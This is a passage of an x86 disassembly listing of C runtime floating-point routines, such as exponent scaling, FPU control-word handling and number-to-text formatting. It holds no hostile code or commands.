		fld	[ebp+var_C]
		fcomp	dbl_423840
		fnstsw	ax
		sahf
		jz	loc_41D027
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_41D1F0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_41CFC9
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_41D01D
; ---------------------------------------------------------------------------


loc_41CFC9:				; CODE XREF: sub_41CE44+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_423840
		fnstsw	ax
		sahf
		jnb	short loc_41CFDB
		mov	edx, ebx
		jmp	short loc_41CFDD
; ---------------------------------------------------------------------------


loc_41CFDB:				; CODE XREF: sub_41CE44+191j
		xor	edx, edx


loc_41CFDD:				; CODE XREF: sub_41CE44+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_41D011
		sub	eax, ecx


loc_41CFF4:				; CODE XREF: sub_41CE44+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_41CFFF
		test	esi, esi
		jnz	short loc_41CFFF
		mov	esi, ebx


loc_41CFFF:				; CODE XREF: sub_41CE44+1B3j
					; sub_41CE44+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_41D00B
		or	byte ptr [ebp+var_C+3],	80h


loc_41D00B:				; CODE XREF: sub_41CE44+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_41CFF4


loc_41D011:				; CODE XREF: sub_41CE44+1ACj
		test	edx, edx
		jz	short loc_41D01D
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_41D01D:				; CODE XREF: sub_41CE44+183j
					; sub_41CE44+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_41D029
; ---------------------------------------------------------------------------


loc_41D027:				; CODE XREF: sub_41CE44+14Ej
		mov	esi, ebx


loc_41D029:				; CODE XREF: sub_41CE44+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_41D036
		push	10h
		call	sub_41D2F1
		pop	ecx


loc_41D036:				; CODE XREF: sub_41CE44+1E8j
		and	edi, 0FFFFFFFDh


loc_41D039:				; CODE XREF: sub_41CE44+26j
					; sub_41CE44+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_41D050
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_41D050
		push	20h
		call	sub_41D2F1
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_41D050:				; CODE XREF: sub_41CE44+1F9j
					; sub_41CE44+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_41CE44	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41D05B(int,int,int,int,int,int,double,int)

sub_41D05B	proc near		; CODE XREF: sub_41CAA6+2Bp
					; sub_41CAF9+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_41D109
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_41D0C6
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_41D2CE
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41FAFD
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D0C0
		push	esi
		call	sub_41D0E3
		pop	ecx


loc_41D0C0:				; CODE XREF: sub_41D05B+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_41D0C6:				; CODE XREF: sub_41D05B+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_41D2CE
		push	[ebp+arg_0]
		call	sub_41D0E3
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_41D05B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D0E3	proc near		; CODE XREF: sub_41CAF9+7Dp
					; sub_41D05B+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_41D0FE
		jle	short locret_41D108
		cmp	eax, 3
		jg	short locret_41D108
		mov	dword_4D86D0, 22h
		retn
; ---------------------------------------------------------------------------


loc_41D0FE:				; CODE XREF: sub_41D0E3+7j
		mov	dword_4D86D0, 21h

locret_41D108:				; CODE XREF: sub_41D0E3+9j
					; sub_41D0E3+Ej
		retn
sub_41D0E3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D109	proc near		; CODE XREF: sub_41D05B+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_43B010


loc_41D110:				; CODE XREF: sub_41D109+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_41D126
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_43B0E8
		jl	short loc_41D110
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41D126:				; CODE XREF: sub_41D109+Dj
		mov	eax, off_43B014[ecx*8]
		retn
sub_41D109	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D12E	proc near		; CODE XREF: sub_41CAF9+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_41D13A
		push	5
		jmp	short loc_41D150
; ---------------------------------------------------------------------------


loc_41D13A:				; CODE XREF: sub_41D12E+6j
		test	al, 8
		jz	short loc_41D142
		push	1
		jmp	short loc_41D150
; ---------------------------------------------------------------------------


loc_41D142:				; CODE XREF: sub_41D12E+Ej
		test	al, 4
		jz	short loc_41D14A
		push	2
		jmp	short loc_41D150
; ---------------------------------------------------------------------------


loc_41D14A:				; CODE XREF: sub_41D12E+16j
		test	al, 1
		jz	short loc_41D152
		push	3


loc_41D150:				; CODE XREF: sub_41D12E+Aj
					; sub_41D12E+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41D152:				; CODE XREF: sub_41D12E+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_41D12E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41D15B(double)

sub_41D15B	proc near		; CODE XREF: sub_418B79:loc_418BFFp
					; sub_418CBF:loc_418D45p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_41D15B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41D16D(double,int)

sub_41D16D	proc near		; CODE XREF: sub_41D1F0+82p
					; sub_41D1F0+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_41D16D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D196	proc near		; CODE XREF: sub_418B79+31p
					; sub_418CBF+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_41D1AD
		cmp	[ebp+arg_0], edx
		jnz	short loc_41D1BF
		push	1
		jmp	short loc_41D1E9
; ---------------------------------------------------------------------------


loc_41D1AD:				; CODE XREF: sub_41D196+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_41D1BF
		cmp	[ebp+arg_0], edx
		jnz	short loc_41D1BF
		push	2
		jmp	short loc_41D1E9
; ---------------------------------------------------------------------------


loc_41D1BF:				; CODE XREF: sub_41D196+11j
					; sub_41D196+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_41D1D2
		push	3
		jmp	short loc_41D1E9
; ---------------------------------------------------------------------------


loc_41D1D2:				; CODE XREF: sub_41D196+36j
		cmp	cx, 7FF0h
		jnz	short loc_41D1EC
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_41D1E7
		cmp	[ebp+arg_0], edx
		jz	short loc_41D1EC


loc_41D1E7:				; CODE XREF: sub_41D196+4Aj
		push	4


loc_41D1E9:				; CODE XREF: sub_41D196+15j
					; sub_41D196+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41D1EC:				; CODE XREF: sub_41D196+41j
					; sub_41D196+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_41D196	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41D1F0(double,int)

sub_41D1F0	proc near		; CODE XREF: sub_41CE44+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_423840
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_41D210
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_41D2A6
; ---------------------------------------------------------------------------


loc_41D210:				; CODE XREF: sub_41D1F0+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_41D27F
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_41D228
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_41D27F


loc_41D228:				; CODE XREF: sub_41D1F0+31j
		fld	[ebp+arg_0]
		fcomp	dbl_423840
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_41D240
		push	1
		pop	eax
		jmp	short loc_41D242
; ---------------------------------------------------------------------------


loc_41D240:				; CODE XREF: sub_41D1F0+49j
		xor	eax, eax


loc_41D242:				; CODE XREF: sub_41D1F0+4Ej
					; sub_41D1F0+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_41D25B
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_41D255
		or	dword ptr [ebp+arg_0+4], 1


loc_41D255:				; CODE XREF: sub_41D1F0+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_41D242
; ---------------------------------------------------------------------------


loc_41D25B:				; CODE XREF: sub_41D1F0+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_41D269
		or	byte ptr [ebp+arg_0+7],	80h


loc_41D269:				; CODE XREF: sub_41D1F0+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_41D16D
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_41D2A6
; ---------------------------------------------------------------------------


loc_41D27F:				; CODE XREF: sub_41D1F0+28j
					; sub_41D1F0+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_41D16D
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_41D2A6:				; CODE XREF: sub_41D1F0+1Bj
					; sub_41D1F0+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_41D1F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D2B1	proc near		; CODE XREF: sub_41CB91+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_41D2B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D2BF	proc near		; CODE XREF: sub_41CB91+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_41D2BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D2CE	proc near		; CODE XREF: sub_418B79+13p
					; sub_418B79+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_41D2CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D2F1	proc near		; CODE XREF: sub_41CE44+1Dp
					; sub_41CE44+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_41D308
		fld	tbyte_43B110
		fistp	[ebp+arg_0]
		wait


loc_41D308:				; CODE XREF: sub_41D2F1+Bj
		test	cl, 8
		jz	short loc_41D31D
		fstsw	ax
		fld	tbyte_43B110
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_41D31D:				; CODE XREF: sub_41D2F1+1Aj
		test	cl, 10h
		jz	short loc_41D32C
		fld	tbyte_43B11C
		fstp	[ebp+var_8]
		wait


loc_41D32C:				; CODE XREF: sub_41D2F1+2Fj
		test	cl, 4
		jz	short loc_41D33A
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_41D33A:				; CODE XREF: sub_41D2F1+3Ej
		test	cl, 20h
		jz	short locret_41D345
		fldpi
		fstp	[ebp+var_8]
		wait

locret_41D345:				; CODE XREF: sub_41D2F1+4Cj
		leave
		retn
sub_41D2F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D347	proc near		; CODE XREF: sub_418C48+Fp
		push	30000h
		push	10000h
		call	sub_41FB35
		pop	ecx
		pop	ecx
		retn
sub_41D347	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D359	proc near		; CODE XREF: sub_41D397:loc_41D3BBj

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_423850
		fstp	[ebp+var_8]
		fld	dbl_423848
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_423700
		fnstsw	ax
		sahf
		jbe	short loc_41D393
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_41D393:				; CODE XREF: sub_41D359+33j
		xor	eax, eax
		leave
		retn
sub_41D359	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D397	proc near		; CODE XREF: sub_418C48+5p
		push	offset aKernel32 ; "KERNEL32"
		call	dword_42309C	; GetModuleHandleA
		test	eax, eax
		jz	short loc_41D3BB
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		call	dword_4230BC	; GetProcAddress
		test	eax, eax
		jz	short loc_41D3BB
		push	0
		call	eax ; sub_418C48
		retn
; ---------------------------------------------------------------------------


loc_41D3BB:				; CODE XREF: sub_41D397+Dj
					; sub_41D397+1Dj
		jmp	sub_41D359
sub_41D397	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41D3C0	proc near		; CODE XREF: sub_41B184+3CBp
					; DATA XREF: sub_418C60+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_419A9C
		cmp	eax, 65h
		pop	ecx
		jz	short loc_41D400


loc_41D3D4:				; CODE XREF: sub_41D3C0+3Ej
		inc	esi
		cmp	dword_43AD8C, 1
		jle	short loc_41D3ED
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41AFFA
		pop	ecx
		pop	ecx
		jmp	short loc_41D3FC
; ---------------------------------------------------------------------------


loc_41D3ED:				; CODE XREF: sub_41D3C0+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_43AB80
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41D3FC:				; CODE XREF: sub_41D3C0+2Bj
		test	eax, eax
		jnz	short loc_41D3D4


loc_41D400:				; CODE XREF: sub_41D3C0+12j
		mov	cl, byte_43AD90
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_41D40B:				; CODE XREF: sub_41D3C0+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_41D40B
		pop	esi
		retn
sub_41D3C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D41A	proc near		; CODE XREF: sub_41B184+3E2p
					; DATA XREF: sub_418C60+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_43AD90
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41D436


loc_41D42A:				; CODE XREF: sub_41D41A+1Aj
		cmp	cl, dl
		jz	short loc_41D436
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_41D42A


loc_41D436:				; CODE XREF: sub_41D41A+Ej
					; sub_41D41A+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_41D467


loc_41D43D:				; CODE XREF: sub_41D41A+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41D450
		cmp	cl, 65h
		jz	short loc_41D450
		cmp	cl, 45h
		jz	short loc_41D450
		inc	eax
		jmp	short loc_41D43D
; ---------------------------------------------------------------------------


loc_41D450:				; CODE XREF: sub_41D41A+27j
					; sub_41D41A+2Cj ...
		mov	ecx, eax


loc_41D452:				; CODE XREF: sub_41D41A+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_41D452
		cmp	[eax], dl
		jnz	short loc_41D45D
		dec	eax


loc_41D45D:				; CODE XREF: sub_41D41A+40j
					; sub_41D41A+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_41D45D

locret_41D467:				; CODE XREF: sub_41D41A+21j
		retn
sub_41D41A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D468	proc near		; DATA XREF: sub_418C60+28o
					; nsp0:off_43B138o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_423840
		fnstsw	ax
		sahf
		jb	short loc_41D47D
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41D47D:				; CODE XREF: sub_41D468+Fj
		xor	eax, eax
		retn
sub_41D468	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D480	proc near		; CODE XREF: sub_41BFF5+430p
					; DATA XREF: sub_418C60+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_41D4A9
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41FFF8
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41D4A9:				; CODE XREF: sub_41D480+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_420025
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_41D480	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D4BE	proc near		; CODE XREF: sub_41D73B+17p
					; sub_41D785+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_4D8764, 0
		push	ebx
		push	esi
		jz	short loc_41D4F3
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_4D8760
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_41D7D6
		pop	ecx
		pop	ecx
		jmp	short loc_41D52B
; ---------------------------------------------------------------------------


loc_41D4F3:				; CODE XREF: sub_41D4BE+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_4200C9
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_420052
		add	esp, 14h


loc_41D52B:				; CODE XREF: sub_41D4BE+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_41D537
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_41D537:				; CODE XREF: sub_41D4BE+73j
		test	ebx, ebx
		jle	short loc_41D54F
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_43AD90
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_41D54F:				; CODE XREF: sub_41D4BE+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_4D8764, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_4183B0
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_41D576
		mov	byte ptr [ecx],	45h


loc_41D576:				; CODE XREF: sub_41D4BE+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_41D5BB
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_41D58A
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_41D58A:				; CODE XREF: sub_41D4BE+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_41D5A1
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_41D5A1:				; CODE XREF: sub_41D4BE+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_41D5B8
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_41D5B8:				; CODE XREF: sub_41D4BE+E7j
		add	[ecx+1], bl


loc_41D5BB:				; CODE XREF: sub_41D4BE+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41D4BE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D5C2	proc near		; CODE XREF: sub_41D762+13p
					; sub_41D785+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_4D8764, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_41D5FD
		mov	eax, dword_4D8768
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_4D8760
		cmp	eax, ebx
		jnz	short loc_41D62D
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_41D62D
; ---------------------------------------------------------------------------


loc_41D5FD:				; CODE XREF: sub_41D5C2+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_4200C9
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_420052
		add	esp, 14h


loc_41D62D:				; CODE XREF: sub_41D5C2+22j
					; sub_41D5C2+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_41D63B
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_41D63B:				; CODE XREF: sub_41D5C2+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_41D652
		push	1
		push	edi
		call	sub_41D7D6
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_41D654
; ---------------------------------------------------------------------------


loc_41D652:				; CODE XREF: sub_41D5C2+7Ej
		add	edi, eax


loc_41D654:				; CODE XREF: sub_41D5C2+8Ej
		test	ebx, ebx
		jle	short loc_41D699
		push	1
		push	edi
		call	sub_41D7D6
		mov	al, byte_43AD90
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_41D699
		cmp	byte_4D8764, 0
		jz	short loc_41D67E
		neg	esi
		jmp	short loc_41D684
; ---------------------------------------------------------------------------


loc_41D67E:				; CODE XREF: sub_41D5C2+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_41D686


loc_41D684:				; CODE XREF: sub_41D5C2+BAj
		mov	ebx, esi


loc_41D686:				; CODE XREF: sub_41D5C2+C0j
		push	ebx
		push	edi
		call	sub_41D7D6
		push	ebx
		push	30h
		push	edi
		call	sub_417AA0
		add	esp, 14h


loc_41D699:				; CODE XREF: sub_41D5C2+94j
					; sub_41D5C2+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41D5C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D6A0	proc near		; CODE XREF: sub_41D785+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_4200C9
		mov	dword_4D8760, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_4D8768, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_420052
		mov	eax, dword_4D8760
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_4D8768, ecx
		setl	cl
		mov	byte_4D876C, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_4D8768, eax
		jl	short loc_41D726
		cmp	eax, ebx
		jge	short loc_41D726
		test	cl, cl
		jz	short loc_41D717


loc_41D70D:				; CODE XREF: sub_41D6A0+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_41D70D
		and	[esi-2], al


loc_41D717:				; CODE XREF: sub_41D6A0+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_41D762
